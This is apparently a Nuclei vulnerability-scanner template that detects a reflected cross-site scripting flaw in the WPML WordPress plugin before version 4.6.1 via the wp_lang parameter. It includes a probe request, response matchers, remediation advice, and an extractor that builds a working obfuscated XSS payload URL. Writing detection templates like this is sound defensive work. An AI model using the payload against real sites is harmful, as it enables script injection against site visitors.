id: wpml-xss

info:
  name: WordPress Plugin WPML Version < 4.6.1 Cross-Site Scripting
  author: bugvsme
  severity: medium
  description: |
    WordPress Plugin WPML Version < 4.6.1  is vulnerable to RXSS via wp_lang parameter.
  remediation: |
    Update the WPML plugin to 4.6.1 version.
  reference:
    - https://wpml.org/fr/changelog/2023/03/wpml-4-6-1-important-security-update/
    - https://twitter.com/bug_vs_me/status/1652789903766200320
  metadata:
    verified: true
    max-request: 1
  tags: xss,wp,wordpress,wpml,wp-plugin,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-login.php?wp_lang=en_US%27'

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - '#039;"='
          - 'wpml_lang'
        condition: and

    extractors:
      - type: dsl
        dsl:
          - 'host + "/wp-login.php?wp_lang=%20=id=x+type=image%20id=xss%20onfoc%3C!%3Eusin+alert(domain)%0c"'
# digest: 490a004630440220238c795c8396a00051b75072d6a88e21e008070294e80eec7ffe27cc544795fc02203ad510b727da47d90f470c0c573994ad9da2fe38967f76a98623bd3c6a58f10e:922c64590222798bb761d5b6d8e72950